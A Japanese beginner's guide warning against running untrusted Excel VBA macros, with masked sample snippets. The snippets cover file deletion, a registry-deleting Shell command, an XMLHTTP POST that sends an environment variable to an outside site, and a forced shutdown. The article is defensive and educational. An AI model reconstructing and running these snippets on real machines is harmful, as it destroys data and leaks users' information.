Excel VBAは便利で業務効率化に役立ちますが、インターネット上でダウンロードしたコードやファイルには危険なものもあります。初心者がコードを読まずに実行すると、思わぬトラブルを招くことも。今回は特に注意すべき危険なコード例を伏字・欠損状態で紹介します。
① ファイルを削除するコード
以下のコードは特定のファイルを削除します。誤って重要なファイルを削除する危険があります。
Kill "C:\\〇〇なデータ\\*.〇〇〇"
② システムの設定を変更するコード
レジストリを変更し、システムに不具合を起こす可能性があります。
Shell "reg delete HK〇〇\\Software\\Microsoft\\Windows\\CurrentVersion\\〇〇 /f"
③ 個人情報を送信するコード
以下のコードはユーザーの情報を外部に送信するものです。
Dim http As Object
Set http = CreateObject("〇〇〇〇.XMLHTTP")
http.Open "POST", "http://〇〇のあるサイト.com", False
http.send (Environ("〇〇〇〇"))
④ 無限ループによるExcelのフリーズ
初心者には無限ループは見つけにくく、Excelが操作不能になります。
Do
' 処理をここに追加(例: 条件式など)
Loop While 条件式
⑤ Excelやパソコンを強制終了させるコード
以下のコードは、強制的にExcelやPCをシャットダウンします。
Shell "shutdown /〇 /〇 /t 〇"
初心者が気をつけるべきポイント
- ダウンロードしたVBAコードやExcelファイルをすぐに実行しない。
- マクロを実行する前に、コードを確認する習慣をつける。
- 不安な場合は詳しい人や信頼できるサイトの情報を参考にする。
初心者がExcel VBAを安全に利用するためには、「読めないコードをむやみに実行しない」という意識を持つことが重要です。ぜひ安全にVBAを活用しましょう!



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